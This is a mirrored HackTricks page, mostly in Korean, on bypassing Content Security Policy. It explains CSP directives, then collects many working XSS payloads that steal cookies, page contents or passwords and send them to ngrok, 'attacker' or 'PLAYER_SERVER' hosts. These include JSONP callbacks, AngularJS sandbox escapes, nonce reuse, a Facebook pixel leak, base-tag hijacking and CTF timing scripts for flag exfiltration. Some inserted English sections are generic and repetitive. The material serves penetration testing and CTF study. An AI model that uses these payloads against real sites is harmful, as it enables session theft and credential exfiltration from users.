mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00

History

Translator 255838de29 Translated ['pentesting-web/content-security-policy-csp-bypass/README.md		2024-03-26 08:05:17 +00:00
..
csp-bypass-self-+-unsafe-inline-with-iframes.md	Translated to Korean	2024-02-10 21:30:13 +00:00
README.md	Translated ['pentesting-web/content-security-policy-csp-bypass/README.md	2024-03-26 08:05:17 +00:00

README.md

콘텐츠 보안 정책 (CSP) 우회

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!

HackTricks를 지원하는 다른 방법:

회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하고 싶다면 구독 요금제를 확인하세요!
공식 PEASS & HackTricks 스왜그를 구매하세요
The PEASS Family를 발견하세요, 당사의 독점 NFTs 컬렉션
💬 디스코드 그룹 또는 텔레그램 그룹에 가입하거나 트위터 🐦 @carlospolopm를 팔로우하세요.
HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.

HackenProof Discord 서버에 가입하여 경험 많은 해커 및 버그 바운티 헌터들과 소통하세요!

해킹 통찰력
해킹의 스릴과 도전에 대해 탐구하는 콘텐츠와 상호 작용하세요

실시간 해킹 뉴스
빠르게 변화하는 해킹 세계의 최신 뉴스와 통찰력을 유지하세요

최신 공지
출시되는 최신 버그 바운티 및 중요한 플랫폼 업데이트에 대해 알아두세요

우리와 함께 Discord에 가입하여 최고의 해커들과 협업을 시작하세요!

CSP란 무엇인가

콘텐츠 보안 정책 (CSP)은 주로 크로스 사이트 스크립팅 (XSS)와 같은 공격으로부터 보호하기 위한 브라우저 기술로 인식됩니다. 브라우저가 안전하게 로드할 수 있는 리소스의 경로와 소스를 정의하고 설명함으로써 작동합니다. 이러한 리소스에는 이미지, 프레임 및 JavaScript와 같은 요소들이 포함됩니다. 예를 들어, 정책은 동일한 도메인(self)에서 리소스의 로드 및 실행을 허용할 수 있으며, 인라인 리소스 및 eval, setTimeout, 또는 setInterval과 같은 함수를 통해 문자열 코드의 실행을 허용할 수 있습니다.

CSP의 구현은 응답 헤더를 통해 또는 HTML 페이지에 메타 요소를 포함시켜 수행됩니다. 이 정책을 준수하면 브라우저가 이러한 규정을 적극적으로 시행하고 감지된 위반 사항을 즉시 차단합니다.

응답 헤더를 통해 구현됨:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';

메타 태그를 통해 구현됨:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

헤더

CSP는 다음 헤더를 사용하여 강제하거나 모니터링할 수 있습니다:

Content-Security-Policy: CSP를 강제합니다. 브라우저는 위반 사항을 차단합니다.
Content-Security-Policy-Report-Only: 모니터링에 사용됩니다. 위반 사항을 차단하지 않고 보고합니다. 프리 프로덕션 환경에서 테스트하는 데 이상적입니다.

리소스 정의

CSP는 활성 및 수동 콘텐츠를로드하는 원본을 제한하여 인라인 JavaScript 실행 및 eval() 사용과 같은 측면을 제어합니다. 예제 정책은 다음과 같습니다:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

지시문

script-src: URL, 인라인 스크립트, 이벤트 핸들러 또는 XSLT 스타일시트로 트리거된 스크립트를 포함한 JavaScript에 대한 특정 소스를 허용합니다.
default-src: 특정 fetch 지시문이 없을 때 리소스를 가져오는 기본 정책을 설정합니다.
child-src: 웹 워커 및 임베디드 프레임 콘텐츠에 대한 허용된 리소스를 지정합니다.
connect-src: fetch, WebSocket, XMLHttpRequest와 같은 인터페이스를 사용하여 로드할 수 있는 URL을 제한합니다.
frame-src: 프레임용 URL을 제한합니다.
frame-ancestors: <frame>, <iframe>, <object>, <embed>, <applet>과 같은 요소에 적용되며 현재 페이지를 임베드할 수 있는 소스를 지정합니다.
img-src: 이미지에 대한 허용된 소스를 정의합니다.
font-src: @font-face를 사용하여 로드되는 글꼴의 유효한 소스를 지정합니다.
manifest-src: 애플리케이션 매니페스트 파일의 허용된 소스를 정의합니다.
media-src: 미디어 객체를 로드할 수 있는 허용된 소스를 정의합니다.
object-src: <object>, <embed>, <applet> 요소에 대한 허용된 소스를 정의합니다.
base-uri: <base> 요소를 사용하여 로드할 수 있는 URL을 지정합니다.
form-action: 양식 제출을 위한 유효한 엔드포인트를 나열합니다.
plugin-types: 페이지에서 호출할 수 있는 MIME 유형을 제한합니다.
upgrade-insecure-requests: 브라우저에게 HTTP URL을 HTTPS로 재작성하도록 지시합니다.
sandbox: <iframe>의 sandbox 속성과 유사한 제한을 적용합니다.
report-to: 정책이 위반될 경우 보고될 그룹을 지정합니다.
worker-src: Worker, SharedWorker 또는 ServiceWorker 스크립트에 대한 유효한 소스를 지정합니다.
prefetch-src: 가져오거나 사전로드할 리소스에 대한 유효한 소스를 지정합니다.
navigate-to: 문서가 어떠한 방법으로든 이동할 수 있는 URL을 제한합니다 (a, form, window.location, window.open 등).

소스

*: data:, blob:, filesystem: 스키마를 제외한 모든 URL을 허용합니다.
'self': 동일한 도메인에서 로드를 허용합니다.
'data': 데이터 스키마를 통해 리소스를 로드할 수 있도록 허용합니다 (예: Base64로 인코딩된 이미지).
'none': 어떠한 소스에서도 로드를 차단합니다.
'unsafe-eval': eval() 및 유사한 메서드의 사용을 허용하지만 보안상 권장되지 않습니다.
'unsafe-hashes': 특정 인라인 이벤트 핸들러를 활성화합니다.
'unsafe-inline': 인라인 <script> 또는 <style>과 같은 리소스의 사용을 허용하지만 보안상 권장되지 않습니다.
'nonce': 암호화된 nonce(일회용 번호)를 사용하여 특정 인라인 스크립트를 화이트리스트로 지정합니다.
페이지 내에서 사용된 nonce를 가져와 악성 스크립트를 로드할 수 있습니다 (strict-dynamic이 사용된 경우, 허용된 소스가 새로운 소스를 로드할 수 있으므로 이는 필요하지 않음). 아래와 같이 사용할 수 있습니다:

nonce를 재사용하여 스크립트 로드

```html

```

'sha256-<hash>': 특정 sha256 해시를 가진 스크립트를 화이트리스트에 추가합니다.
'strict-dynamic': nonce 또는 해시에 의해 화이트리스트에 추가된 경우 어떤 소스에서든 스크립트를로드 할 수 있습니다.
'host': example.com과 같은 특정 호스트를 지정합니다.
https:: HTTPS를 사용하는 URL로 제한합니다.
blob:: Blob URL (예 : JavaScript를 통해 생성된 Blob URL)에서 리소스를로드 할 수 있습니다.
filesystem:: 파일 시스템에서 리소스를로드 할 수 있습니다.
'report-sample': 위반 보고서에 위반 코드의 샘플을 포함합니다 (디버깅에 유용).
'strict-origin': 'self'와 유사하지만 소스의 프로토콜 보안 수준이 문서와 일치하는지 확인합니다 (안전한 원본만 안전한 원본에서 리소스를로드 할 수 있음).
'strict-origin-when-cross-origin': 동일 출처 요청을 만들 때 전체 URL을 보내지만 교차 출처 요청일 때는 원본만 보냅니다.
'unsafe-allow-redirects': 즉시 다른 리소스로 리디렉션될 수있는 리소스를로드 할 수 있습니다. 보안을 약화시키므로 권장되지 않습니다.

안전하지 않은 CSP 규칙

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

작동하는 페이로드: "/><script>alert(1);</script>

Iframes를 통한 self + 'unsafe-inline'

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

작동하는 페이로드:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

만약 허용된 JS 코드가 당신의 JS 코드로 DOM에 새로운 스크립트 태그를 생성하도록 할 수 있다면, 허용된 스크립트가 생성하기 때문에 새로운 스크립트 태그가 실행 허용될 것입니다.

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

작동하는 페이로드:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

object-src 및 default-src 부재

{% hint style="danger" %} 이제 더 이상 작동하지 않는 것으로 보입니다 {% endhint %}

Content-Security-Policy: script-src 'self' ;

작동하는 페이로드:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

파일 업로드 + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

만약 JS 파일을 업로드할 수 있다면 이 CSP를 우회할 수 있습니다:

작동하는 payload:

"/>'><script src="/uploads/picture.png.js"></script>

그러나 서버가 업로드된 파일을 유효성 검사하고 특정 유형의 파일만 업로드할 수 있도록 허용할 가능성이 매우 높습니다.

또한 서버가 허용하는 확장자를 사용하여 파일 내에 JS 코드를 업로드할 수 있더라도 (예: script.png), 이것만으로는 충분하지 않습니다. 왜냐하면 Apache 서버와 같은 일부 서버는 파일의 MIME 유형을 확장자를 기반으로 선택하며 Chrome과 같은 브라우저는 이미지여야 하는 것에 Javascript 코드를 실행하지 않도록 거부할 것입니다. "다행히도", 실수가 있습니다. 예를 들어, CTF에서 배운 바에 따르면 Apache는 .wave 확장자를 인식하지 못하기 때문에 **audio/***와 같은 MIME 유형으로 제공하지 않습니다.

여기서 XSS와 파일 업로드를 찾은 경우, 잘못 해석된 확장자를 찾아 파일을 해당 확장자와 스크립트 내용으로 업로드해 볼 수 있습니다. 또는 서버가 업로드된 파일의 올바른 형식을 확인하는 경우, 다중언어 (여기에 일부 다중언어 예제)를 만들어 시도할 수 있습니다.

Form-action

JS를 삽입할 수 없는 경우, 예를 들어 자격 증명을 빼내기 위해 폼 액션을 삽입해 볼 수 있습니다 (그리고 비밀번호 관리자가 자동으로 비밀번호를 채우기를 기대할 수도 있습니다). 이 보고서에서 예제를 찾을 수 있습니다. 또한 default-src가 폼 액션을 포함하지 않는다는 점에 유의하십시오.

제3자 엔드포인트 + ('unsafe-eval')

{% hint style="warning" %} 다음 페이로드 중 일부에 대해 unsafe-eval가 필요하지 않을 수도 있습니다. {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

CSP Bypass with AngularJS Sandbox

Overview

Description

The AngularJS sandbox bypass technique allows an attacker to execute arbitrary JavaScript code on a website that uses a vulnerable version of AngularJS, even when the website has a strict Content Security Policy (CSP) in place.

Impact

By exploiting this vulnerability, an attacker can bypass the CSP restrictions and execute malicious code on the target website, potentially leading to various attacks such as cross-site scripting (XSS) or data exfiltration.

Exploitation

To exploit this vulnerability, follow these steps:

Load a vulnerable version of AngularJS on the target website.
Craft a payload that triggers the execution of arbitrary JavaScript code.
Inject the payload into a vulnerable component or endpoint on the target website.
Execute the payload and observe the successful bypass of the CSP restrictions.

Example

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.30/angular.js"></script>
<script>
  angular.element(document).find('body').append('<img src=x onerror=alert(1)>');
</script>

In this example, the attacker loads a vulnerable version of AngularJS (1.2.30) and injects a payload that triggers an alert box to demonstrate the successful bypass of the CSP restrictions.

Recommendations

To mitigate this vulnerability, ensure that your website is not using vulnerable versions of AngularJS. Regularly update your JavaScript libraries and frameworks to the latest secure versions to prevent such bypass techniques. Additionally, implement a strict CSP policy that restricts the execution of inline scripts and external resources to reduce the attack surface for potential bypasses.

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Angular + `window` 객체를 반환하는 함수를 포함한 라이브러리를 사용한 Payload:

{% hint style="info" %} 이 게시물은 cdn.cloudflare.com (또는 다른 허용된 JS 라이브러리 저장소)에서 모든 라이브러리를 로드할 수 있으며, 각 라이브러리에서 추가된 모든 함수를 실행하고, 어떤 라이브러리의 어떤 함수가 window 객체를 반환하는지 확인할 수 있다. {% endhint %}

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS from a class name:

Angular 클래스 이름에서 XSS:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Google reCAPTCHA JS 코드 남용

이 CTF 해설에 따르면 CSP 내부에서 https://www.google.com/recaptcha/를 남용하여 CSP를 우회하고 임의의 JS 코드를 실행할 수 있다.

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

더 많은 이 기사의 payloads를 확인하세요:

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

www.google.com을 이용한 오픈 리다이렉트 악용

다음 URL은 example.com으로 리다이렉트됩니다 (여기에서).

https://www.google.com/amp/s/example.com/

Third Party Endpoints + JSONP

*.google.com/script.google.com 남용

Google Apps Script를 남용하여 script.google.com 내부 페이지에서 정보를 수신하는 것이 가능합니다. 이는 이 보고서에서 수행된 것처럼 가능합니다.

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

다음과 같은 시나리오에서는 script-src가 self 및 특정 도메인으로 설정되어 있고 화이트리스트에 등록된 경우 JSONP를 사용하여 우회할 수 있습니다. JSONP 엔드포인트는 보안되지 않은 콜백 방법을 허용하므로 공격자가 XSS를 수행할 수 있습니다. 작동하는 payload:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>

https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee 에는 다양한 웹사이트의 CSP 우회를 위한 JSONP 엔드포인트가 준비되어 있습니다.

신뢰할 수 있는 엔드포인트에 Open Redirect가 포함되어 있는 경우 동일한 취약점이 발생할 것입니다. 왜냐하면 초기 엔드포인트가 신뢰되면 리디렉션이 신뢰됩니다.

제3자 남용

다음 게시물에 설명된 대로, CSP 어딘가에서 허용된 많은 제3자 도메인은 데이터 유출 또는 JavaScript 코드 실행을 위해 남용될 수 있습니다. 이러한 제3자 중 일부는 다음과 같습니다:

Entity	Allowed Domain	Capabilities
Facebook	www.facebook.com, *.facebook.com	Exfil
Hotjar	*.hotjar.com, ask.hotjar.io	Exfil
Jsdelivr	*.jsdelivr.com, cdn.jsdelivr.net	Exec
Amazon CloudFront	*.cloudfront.net	Exfil, Exec
Amazon AWS	*.amazonaws.com	Exfil, Exec
Azure Websites	.azurewebsites.net, .azurestaticapps.net	Exfil, Exec
Salesforce Heroku	*.herokuapp.com	Exfil, Exec
Google Firebase	*.firebaseapp.com	Exfil, Exec

대상의 CSP에서 허용된 도메인 중 하나를 발견하면, 해당 서비스에 등록하여 데이터를 유출하거나 코드를 실행할 수 있을 수도 있습니다.

예를 들어, 다음과 같은 CSP를 발견한다면:

Content-Security-Policy: default-src 'self’ www.facebook.com;

Content Security Policy (CSP) Bypass

Introduction

In some scenarios, a website may have a strict Content Security Policy (CSP) in place to prevent various types of attacks such as Cross-Site Scripting (XSS). However, there are techniques that can be used to bypass CSP protections and successfully execute malicious scripts on the target website.

Bypass Techniques

Inline Script Execution: By finding a way to execute inline scripts, an attacker can bypass CSP restrictions that prohibit inline script execution.
Unsafe Inline Directive: Some websites use the 'unsafe-inline' directive in their CSP policy to allow inline scripts. This can be exploited by an attacker to execute malicious scripts inline.
Data: URI Scheme: The data: URI scheme can be used to embed external resources such as images or scripts within a web page. Attackers can leverage this technique to bypass CSP restrictions.
Nonce-Based CSP Bypass: Websites that implement CSP with a nonce (number used once) can be vulnerable to nonce reuse attacks, allowing an attacker to bypass CSP protections.

Impact

Successful bypass of CSP can lead to the execution of malicious scripts on a website, potentially resulting in various attacks such as data theft, session hijacking, defacement, and more.

Mitigation

To prevent CSP bypass attacks, website owners should:

Avoid using 'unsafe-inline' directive.
Implement strict CSP policies.
Regularly audit and update CSP configurations.
Use nonces or hashes to validate trusted scripts.
Utilize the report-uri directive to monitor and report CSP violations.

Content-Security-Policy: connect-src www.facebook.com;

여기에서 Facebook 개발자 계정을 만듭니다.
"Facebook Login" 앱을 만들고 "Website"를 선택합니다.
"Settings -> Basic"로 이동하여 "App ID"를 가져옵니다.
데이터를 유출하려는 대상 사이트에서 Facebook SDK 가젯 "fbq"를 사용하여 "customEvent"와 데이터 페이로드를 직접 사용하여 데이터를 유출할 수 있습니다.
앱 "Event Manager"로 이동하여 만든 애플리케이션을 선택합니다 (이벤트 관리자는 다음과 유사한 URL에서 찾을 수 있습니다: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).
"Test Events" 탭을 선택하여 "당신의" 웹 사이트에서 보내는 이벤트를 확인합니다.

그런 다음 피해자 측에서 다음 코드를 실행하여 Facebook 추적 픽셀을 초기화하고 공격자의 Facebook 개발자 계정 앱 ID를 가리키도록하고 다음과 같이 사용자 정의 이벤트를 발생시킵니다:

fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});

이전 표에서 지정된 다른 일곱 개의 서드파티 도메인에 대해서는 그들을 남용할 수 있는 다양한 방법이 있습니다. 다른 서드파티 남용에 대한 추가 설명은 이전 블로그 게시물을 참조하십시오.

RPO (상대 경로 덮어쓰기)를 통한 우회

경로 제한을 우회하기 위한 이전의 리디렉션 외에도, 일부 서버에서 사용할 수 있는 상대 경로 덮어쓰기 (RPO)라는 기술이 있습니다.

예를 들어, CSP가 https://example.com/scripts/react/ 경로를 허용한다면, 다음과 같이 우회할 수 있습니다:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

브라우저는 최종적으로 https://example.com/scripts/angular/angular.js를 로드합니다.

이는 브라우저에게 https://example.com/scripts/react/에 위치한 ..%2fangular%2fangular.js라는 파일을 로드하고 있으며, 이는 CSP와 호환됩니다.

따라서 브라우저는 이를 디코딩하여 https://example.com/scripts/react/../angular/angular.js를 요청하게 되며, 이는 https://example.com/scripts/angular/angular.js와 동일합니다.

브라우저와 서버 간 URL 해석의 불일치를 악용하여 경로 규칙을 우회할 수 있습니다.

해결책은 서버 측에서 %2f를 /로 처리하지 않도록하여 브라우저와 서버 간 일관된 해석을 보장하여 이 문제를 피하는 것입니다.

온라인 예제: https://jsbin.com/werevijewa/edit?html,output

Iframes JS 실행

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

base-uri 누락

base-uri 지시문이 누락된 경우 dangling markup injection을 수행할 수 있습니다.

또한, 페이지가 Nonce를 사용하여 상대 경로로 스크립트를 로드하는 경우(<script src="/js/app.js">) base tag를 악용하여 자체 서버에서 스크립트를 로드하도록 만들어 XSS를 성공시킬 수 있습니다.
취약한 페이지가 httpS로 로드된 경우, base에 httpS URL을 사용하십시오.

<base href="https://www.attacker.com/">

AngularJS 이벤트

특정 정책인 콘텐츠 보안 정책(Content Security Policy, CSP)은 JavaScript 이벤트를 제한할 수 있습니다. 그러나 AngularJS는 대체로 사용할 수 있는 사용자 정의 이벤트를 소개합니다. 이벤트 내에서 AngularJS는 네이티브 브라우저 이벤트 객체를 참조하는 고유한 $event 객체를 제공합니다. 이 $event 객체는 CSP를 우회하는 데 악용될 수 있습니다. 특히 Chrome에서 $event/event 객체는 이벤트 실행 체인에 관련된 객체 배열을 보유한 path 속성을 갖고 있으며, 이 배열의 끝에는 항상 window 객체가 위치합니다. 이 구조는 샌드박스 탈출 전술에 중요합니다.

이 배열을 orderBy 필터로 지시함으로써 배열을 반복하고, 터미널 요소(즉, window 객체)를 활용하여 alert()와 같은 전역 함수를 트리거할 수 있습니다. 아래 표시된 코드 스니펫은 이 과정을 명확히 설명합니다:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

이 스니펫은 ng-focus 지시문을 사용하여 이벤트를 트리거하고, $event.path|orderBy를 사용하여 path 배열을 조작하며, window 객체를 활용하여 alert() 함수를 실행하여 document.cookie를 노출합니다.

다른 Angular 우회 방법을 찾으려면 https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS 및 화이트리스트에 등록된 도메인

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

CSP 정책 우회

Angular JS 애플리케이션에서 스크립트 로딩을 위한 도메인을 화이트리스트로 지정하는 CSP 정책은 콜백 함수의 호출과 취약한 클래스를 통해 우회될 수 있습니다. 이 기술에 대한 자세한 정보는 이 깃 레포지토리에서 제공되는 상세 가이드에서 확인할 수 있습니다.

작동하는 payloads:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

다른 JSONP 임의 실행 엔드포인트는 여기에서 찾을 수 있습니다 (일부는 삭제되거나 수정되었습니다).

리다이렉션을 통한 우회

CSP가 서버 측 리다이렉션을 만나면 어떻게 될까요? 리다이렉션이 다른 허용되지 않은 출처로 이어진다면 여전히 실패합니다.

그러나 CSP 사양 4.2.2.3. 경로 및 리다이렉트의 설명에 따르면, 리다이렉션이 다른 경로로 이어진다면 원래 제한을 우회할 수 있습니다.

다음은 예시입니다:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

만약 CSP가 https://www.google.com/a/b/c/d로 설정되어 있다면, 경로가 고려되므로 /test와 /a/test 스크립트 모두 CSP에 의해 차단될 것입니다.

그러나 최종적으로 http://localhost:5555/301은 서버 측에서 https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//로 리디렉션될 것입니다. 이는 리디렉션이기 때문에 경로가 고려되지 않으며, 스크립트가 로드될 수 있어서 경로 제한을 우회할 수 있습니다.

이 리디렉션으로 인해 경로가 완전히 지정되어 있더라도 여전히 우회될 것입니다.

따라서, 최선의 해결책은 웹사이트에 오픈 리디렉트 취약점이 없고 CSP 규칙에서 악용될 수 있는 도메인이 없도록 하는 것입니다.

매달린 마크업으로 CSP 우회

여기에서 확인하세요.

'unsafe-inline'; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline'는 코드 내에서 어떤 스크립트든 실행할 수 있다는 것을 의미하며(XSS가 코드를 실행할 수 있음), img-src *는 웹페이지에서 어떤 리소스에서든 이미지를 사용할 수 있다는 것을 의미합니다.

이 CSP를 우회할 수 있습니다. 이미지를 통해 데이터를 유출하는 방법으로(이 경우 XSS가 CSRF를 악용하여 봇이 접근할 수 있는 페이지에 SQLi가 포함되어 있고 이미지를 통해 플래그를 추출합니다):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

이 구성을 남용하여 이미지 내에 삽입된 자바스크립트 코드를 로드할 수도 있습니다. 예를 들어, 페이지가 Twitter에서 이미지를 로드하는 것을 허용한다면, 특별한 이미지를 만들어 Twitter에 업로드하고 "unsafe-inline"을 남용하여 일반적인 XSS로 JS 코드를 실행하여 이미지를 로드하고 거기서 JS를 추출하여 실행할 수 있습니다: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

서비스 워커 사용

서비스 워커의 importScripts 함수는 CSP에 제한을 받지 않습니다:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

정책 주입

연구: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

당신이 보낸 매개변수가 정책의 선언 내부에 붙여넣기되는 경우, 정책을 변경하여 쓸모 없게 만들 수 있습니다. 이러한 우회 중 하나로 스크립트 'unsafe-inline'을 허용할 수 있습니다:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

이 지시문은 기존 script-src 지시문을 덮어쓸 것입니다.
여기 예제를 찾을 수 있습니다: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

Edge에서는 훨씬 간단합니다. CSP에 이것만 추가할 수 있다면: ;_ Edge는 정책 전체를 삭제할 것입니다.
예제: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; via XSS (iframe) - 시간 공격

'unsafe-inline' 지시문이 없다는 것에 주목하십시오.
이번에는 피해자가 <iframe을 통해 당신이 제어하는 페이지를 로드하도록 만들 수 있습니다. 이번에는 피해자가 정보를 추출하고자 하는 페이지에 접근하도록 만들 것입니다 (CSRF). 페이지의 내용에 접근할 수는 없지만, 페이지가 로드되는 데 필요한 시간을 어떻게든 제어할 수 있다면 필요한 정보를 추출할 수 있습니다.

이번에는 flag가 추출될 것입니다. SQLi를 통해 char가 올바르게 추측될 때마다 응답이 sleep 함수로 인해 더 많은 시간이 걸립니다. 그럼으로써 flag를 추출할 수 있게 됩니다:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

북마크릿을 통한 공격

